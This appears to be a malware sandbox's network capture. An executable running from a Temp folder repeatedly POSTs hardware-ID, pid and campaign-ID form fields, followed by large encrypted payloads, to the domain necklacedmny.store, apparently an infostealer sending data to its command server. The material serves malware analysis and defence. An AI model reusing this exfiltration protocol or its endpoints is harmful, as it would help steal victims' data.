2024-10-31 19:52:16 UTC	1369	IN	Data Raw: 79 5a 4c 75 55 43 67 66 6b 36 6f 44 6f 63 6a 36 6b 67 42 75 51 4e 39 5a 43 4a 6e 61 46 66 33 51 5a 79 30 49 6f 6d 73 46 67 61 70 63 64 6a 2b 45 58 6e 68 30 71 2f 4d 41 33 4f 67 53 41 43 39 55 75 34 78 70 4b 61 78 79 48 5a 41 57 2f 59 69 79 62 4f 4b 48 75 72 6c 7a 61 33 5a 39 53 30 65 4b 41 77 58 36 32 74 4d 78 6e 35 44 4c 62 49 79 74 62 66 4f 62 67 4b 64 63 57 4a 4c 6f 6b 71 50 4c 58 51 4c 72 6b 43 31 2f 6b 6c 37 6a 59 58 6e 4b 6f 73 45 37 6f 4e 2b 49 6a 4b 78 64 46 34 75 42 30 2f 6a 64 64 76 7a 6e 52 37 39 35 63 70 2b 55 2f 59 75 6e 4f 74 4a 51 2b 4b 70 44 55 58 73 54 58 49 6f 34 66 58 6d 6d 2f 2f 4e 55 48 30 6a 6a 47 44 61 54 7a 74 39 32 6e 68 51 65 65 48 53 72 38 77 44 63 36 42 49 41 4c 31 53 37 6a 47 6b 70 72 48 49 64 6b 42 62 39 69 4c 4a 73 78 47 50 Data Ascii: yZLuUCgfk6oDocj6kgBuQN9ZCJnaFf3QZy0IomsFgapcdj+EXnh0q/MA3OgSAC9Uu4xpKaxyHZAW/YiybOKHurlza3Z9S0eKAwX62tMxn5DLbIytbfObgKdcWJLokqPLXQLrkC1/kl7jYXnKosE7oN+IjKxdF4uB0/jddvznR795cp+U/YunOtJQ+KpDUXsTXIo4fXmm//NUH0jjGDaTzt92nhQeeHSr8wDc6BIAL1S7jGkprHIdkBb9iLJsxGP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49744	188.114.97.3	443	5960	C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 19:52:17 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18168 Host: necklacedmny.store
2024-10-31 19:52:17 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 38 36 32 41 34 43 46 31 32 36 38 35 43 35 35 32 32 35 45 41 34 46 43 37 39 41 46 41 31 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B862A4CF12685C55225EA4FC79AFA1FF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 19:52:17 UTC	2837	OUT	Data Raw: bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
2024-10-31 19:52:18 UTC	1025	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 19:52:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jp5lg5jbddn1de8rf6o6qmstgs; expires=Mon, 24-Feb-2025 13:38:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uOO9O07eDdyzL0CI%2BloAj7jOpSl1uTiMhy3NWQLeJZ0uuEtwSw3%2B%2BeYhe9U0%2BGRb%2FJIxZr4eQy%2F2d8bmEd5KeNJ4IeAZGn2VQafVkHeI8tveu60oSn7417J2v%2FCeCjsgP7to9wg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db62f4858bf2c9e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2126&sent=12&recv=24&lost=0&retrans=0&sent_bytes=2845&recv_bytes=19132&delivery_rate=1276895&cwnd=251&unsent_bytes=0&cid=d94dac0465db574e&ts=626&x=0"
2024-10-31 19:52:18 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 19:52:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49746	188.114.97.3	443	5960	C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 19:52:19 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8789 Host: necklacedmny.store
2024-10-31 19:52:19 UTC	8789	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 38 36 32 41 34 43 46 31 32 36 38 35 43 35 35 32 32 35 45 41 34 46 43 37 39 41 46 41 31 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B862A4CF12685C55225EA4FC79AFA1FF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 19:52:19 UTC	1015	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 19:52:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1g0m3eau7pkeol5mc6dqmkja6o; expires=Mon, 24-Feb-2025 13:38:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PxOa7MUKwVe7bpsVCj8FUrSSvRukBnxUYwN2WK9%2FVP9Ne1Dncpyc7MjYmEeyyJ3iuXP2vSfdEApe4Uvdis1kmRXdeNKVVzYpokQ30XEo8wmEQoaUkXxjyiyThI%2FBA%2BpgrjzXH2c%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db62f51ad97e80b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1846&sent=7&recv=14&lost=0&retrans=0&sent_bytes=2845&recv_bytes=9730&delivery_rate=2090974&cwnd=246&unsent_bytes=0&cid=219d6f12da2fc98d&ts=560&x=0"
2024-10-31 19:52:19 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 19:52:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49748	188.114.97.3	443	5960	C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 19:52:20 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: necklacedmny.store
2024-10-31 19:52:20 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 38 36 32 41 34 43 46 31 32 36 38 35 43 35 35 32 32 35 45 41 34 46 43 37 39 41 46 41 31 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B862A4CF12685C55225EA4FC79AFA1FF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 19:52:20 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 64F6(X&7~`
2024-10-31 19:52:21 UTC	1017	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 19:52:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=69a862dj3nbfnh6h81qvu14pro; expires=Mon, 24-Feb-2025 13:39:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d0iIFcudij6vI0xN32PdWEt6rcfqdnOR8RmxHUNmdVyhynIFd8AjFQ1WXHzryeUMWBb%2BhrC5WPE0CjZAr%2BAG1ZHECLZAF%2Fs3LdlcGwks0BoXEYXzhTk7JRPpQ3GQWuGkttWtXeI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db62f5b8bf22e2a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2204&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21406&delivery_rate=1269618&cwnd=234&unsent_bytes=0&cid=914a549d16c3f593&ts=754&x=0"
2024-10-31 19:52:21 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 19:52:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49751	188.114.97.3	443	5960	C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 19:52:23 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1286 Host: necklacedmny.store
2024-10-31 19:52:23 UTC	1286	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 38 36 32 41 34 43 46 31 32 36 38 35 43 35 35 32 32 35 45 41 34 46 43 37 39 41 46 41 31 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B862A4CF12685C55225EA4FC79AFA1FF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 19:52:23 UTC	1018	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 19:52:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=o0hr7ael0cq0014u8o4schr6al; expires=Mon, 24-Feb-2025 13:39:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WV31%2FYVPxnmIfT3Wej9A1rw1%2F997CIg9Pdc7UxgXa9B09oCwNc8Gk4oROIDGWPUXSkjnqoqxkrIGnZiIVd5nXrRaZzGm%2BAs1oGwTmOv2jxLWizUo6TdNxvHYk%2Bi%2FNxe991vZntg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db62f6a489f2c8b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2829&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2205&delivery_rate=1146930&cwnd=248&unsent_bytes=0&cid=7c8b60585515fe30&ts=336&x=0"
2024-10-31 19:52:23 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 19:52:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49752	188.114.97.3	443	5960	C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 19:52:27 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 581800 Host: necklacedmny.store
2024-10-31 19:52:27 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 38 36 32 41 34 43 46 31 32 36 38 35 43 35 35 32 32 35 45 41 34 46 43 37 39 41 46 41 31 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B862A4CF12685C55225EA4FC79AFA1FF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 19:52:27 UTC	15331	OUT	Data Raw: e7 f1 a1 4b ca ae 20 01 c5 7b 2d 92 72 92 85 a1 b8 73 19 87 32 ee fb 34 8c a2 1b 33 91 9c 0d 1b dd 5b 39 1a b6 6a d1 a4 4c 27 0f 0f 95 1b 3f c0 21 91 61 d3 86 9e d5 c2 ef 28 3a 26 2c 15 b2 c4 53 14 a3 10 57 87 3a 72 f3 83 2d f7 3c 06 f6 81 6e ac 31 fb be 2c 68 59 b9 d6 a6 62 09 e7 c1 07 e3 91 40 c7 9f ef 03 fe 50 a6 28 c6 1a a0 db 2a c1 e2 db 88 98 00 75 2e a5 1c 6d b9 d8 a2 8f 07 50 97 f5 4c 9d 38 29 75 f7 dd cb 38 d5 5c ac b2 a0 80 0e ca 43 91 89 09 4e 11 f9 d0 5a 94 69 65 4a 37 06 1f c6 0a 75 09 a7 3d a4 12 df ac 8a cf 98 ca 55 ff 52 aa c0 06 20 aa b6 b8 bc d0 3c e8 2d 31 a5 49 3f 46 77 e2 18 9e 62 82 0e 5b f2 3b 75 7c ff ae 20 2e f4 15 6a 6c 7f 99 03 13 39 72 db 76 09 ff 74 a0 61 19 a1 27 6c 94 7f bc fb b8 4b 34 c6 6d 6d 5f 3f 77 e6 b0 ef 04 12 83 5a Data Ascii: K {-rs243[9jL'?!a(:&,SW:r-<n1,hYb@P(*u.mPL8)u8\CNZieJ7u=UR <-1I?Fwb[;u\| .jl9rvta'lK4mm_?wZ
2024-10-31 19:52:27 UTC	15331	OUT	Data Raw: c7 9f ec fc fc 08 07 1f 1a 5a eb 58 7a 71 b5 fb 5f e9 13 3c d3 d0 d1 87 6e a1 73 41 cd fa 0f 9e 3a 6f 45 aa d4 77 eb ab 06 bc 6b 3a ea b8 75 ca a1 ca 59 74 4a 79 f4 3b f8 b9 d3 f3 af d9 5e 6e cd af 71 43 f7 7d 93 71 cc d6 8c d9 6c 16 2f 63 99 71 64 ad da 9d 7a ed 8f 8f af 45 6f 09 52 66 ab b3 ba 5f 07 55 9b 2b 02 7f e7 5b a8 96 9f 13 e5 37 50 c4 fb 57 5f 43 b4 58 ff c3 10 da 1d b0 f3 0a 85 e5 37 37 ae cc 47 cd 05 ec 78 50 d3 fb ea c6 75 27 76 e6 6b 82 55 c4 4b 07 e9 c2 97 cc d6 ab 45 90 f2 3d 87 55 bb 33 d1 90 88 90 dc cf 2e 7a 6c e4 b9 e5 19 1d 54 fc 61 2c 06 02 7d a7 d4 8a b4 04 49 22 14 0f 9c 0c f1 a2 14 fd 00 5c e4 08 64 a2 e1 84 e5 70 eb 92 58 ca 99 5f 18 bc 4c 92 e6 0b 4e 8c 5b 74 a8 55 78 81 cf 80 e5 8a e3 bd 91 f4 e7 e7 3b c2 9c c4 72 bb 05 09 1e Data Ascii: ZXzq_<nsA:oEwk:uYtJy;^nqC}ql/cqdzEoRf_U+[7PW_CX77GxPu'vkUKE=U3.zlTa,}I"\dpX_LN[tUx;r
2024-10-31 19:52:27 UTC	15331	OUT	Data Raw: 5d 9c a1 12 e2 7e c0 12 54 1f aa 86 f8 c0 96 d1 6b 49 a8 3c e6 09 d1 66 22 32 84 9b 7b f3 75 d0 73 5a c5 93 a2 79 17 c8 e5 31 99 99 a7 2b c6 89 f5 d2 85 22 5e 02 36 17 f3 1d 9f bb 05 9e 0a 06 d1 be 91 61 f1 6a a8 0b 50 02 c6 9e d3 b8 fb 2f b0 a6 aa 7b f6 53 dd 5d ab 1c 8e 04 07 77 e1 06 0b 44 b3 54 56 a6 14 63 56 b9 2e 2a 96 10 d8 fc 67 e4 e6 d9 d9 e3 8d c9 f1 1f f6 f5 1c f0 5a e1 fe ce 6c 1d 4e 60 ff 60 31 b9 3b ff 24 5b f6 f9 36 8b c4 5d fa d3 77 e3 19 4e 26 b5 8f b6 d2 d5 fc 3b 0d 1a 53 bc b3 93 31 4e fd d3 0c 1e 8f 22 f4 ca 4b ec 3c ef 3f f3 33 4e fb 8c b9 5e 03 e5 b5 bb c5 5e cb 72 50 f4 de 89 88 6c 50 c3 c7 5b 7d 1f 65 ce b3 eb 1b ce 21 ef fd 20 2b f0 ef 03 43 21 52 bf 10 31 0d 7d ef 77 eb c8 35 c7 0a 1c dc e5 7c 56 93 2f 96 30 df 52 7c 73 7a fa ce Data Ascii: ]~TkI<f"2{usZy1+"^6ajP/{S]wDTVcV.*gZlN``1;$[6]wN&;S1N"K<?3N^^rPlP[}e! +C!R1}w5\|V/0R\|sz
2024-10-31 19:52:27 UTC	15331	OUT	Data Raw: 7f 16 ef a2 5a 8d 09 7b 99 45 8b 41 d7 11 63 45 8d c2 b4 4a d6 d5 12 4e af 5e 1b 48 af 3a 1c 19 3e a1 f6 b9 a9 f2 8e c4 9e 96 7c cb 8a 96 e3 64 61 a0 7e b0 cd 6f 7f 4a b0 10 ea fc 84 b1 4d 1a 83 dd 7a 80 60 58 17 e2 2d 6e e2 77 0d 0f a2 44 e9 a1 61 f4 79 00 47 32 aa 92 af 5d 06 c6 c7 a0 f4 fb 9a 84 38 fa ca b9 4b d7 b7 88 d2 49 85 b8 c9 20 fa ff a9 90 ff ff 43 b2 2d 48 3a 2c e6 b1 15 30 ef c4 83 0f 68 6b 55 e4 7b 9d b1 0b 23 98 3d 60 1b a7 55 47 93 d9 df d9 65 e5 8b 01 92 32 77 01 91 ac 7c c9 d1 25 76 c3 7c c4 08 1d c1 a3 65 b9 7f 75 57 1e a4 2c 1f 39 e0 34 b7 94 2d f1 e7 7a 0d 22 b9 24 99 4f 20 7a 0b 87 1c 2b dd 23 c0 ec be e7 6a 2f 88 ef 83 31 01 dd bd c2 64 e9 b0 20 b9 b5 82 7d c6 e5 b8 40 08 78 5b 12 59 45 2b fd 5b ce ed f4 a4 1c f1 3b dd b5 83 52 1b Data Ascii: Z{EAcEJN^H:>\|da~oJMz`X-nwDayG2]8KI C-H:,0hkU{#=`UGe2w\|%v\|euW,94-z"$O z+#j/1d }@x[YE+[;R
2024-10-31 19:52:27 UTC	15331	OUT	Data Raw: b5 22 7c 02 61 ce 42 26 a3 98 ab 76 93 a0 a3 29 ef 49 0a d7 71 a1 66 a9 71 52 b5 55 1e 1b 56 bc 61 38 56 fd c7 71 0d 6d 96 e9 88 dc 5e fa 1f 17 9b ea 9e 8d 12 f8 d1 c6 e6 4c b9 b1 ea 64 5c b4 27 3f 70 6d b6 90 a1 0d 64 23 c6 9a fc 44 0b 6b 05 0c 88 59 ea 10 04 f1 ae 08 2f 2b 4d 8e 05 51 fa d5 66 07 c3 8c 8f b4 36 af 9b 83 26 4b b5 94 d0 24 34 be 74 99 60 a0 8f 5e f5 3b ef 9b fa 72 46 57 8a 55 b4 60 ff 2b 71 65 cb a0 00 f2 f8 00 b7 19 05 7b a7 ba a2 8b 8f e8 7b af dd be 6d 82 07 ef 0b ff 3d 5d 63 b7 73 f4 40 19 e0 05 bc 98 95 be 40 89 fe df de 59 ba 49 a4 84 40 c3 15 ee aa 6e f1 2f f4 4c f2 5a f7 38 5b 81 2a 9c ef a8 2f 07 52 53 66 1c 15 2a 4f 72 a4 c2 60 24 6b 9b 97 18 4b 33 c7 37 69 06 a5 ff 88 4f 70 68 33 30 a8 ad 6c 4b 26 d7 6a b5 e0 23 5c 66 bb 9f 06 Data Ascii: "\|aB&v)IqfqRUVa8Vqm^Ld\'?pmd#DkY/+MQf6&K$4t`^;rFWU`+qe{{m=]cs@@YI@n/LZ8[/RSfOr`$kK37iOph30lK&j#\f
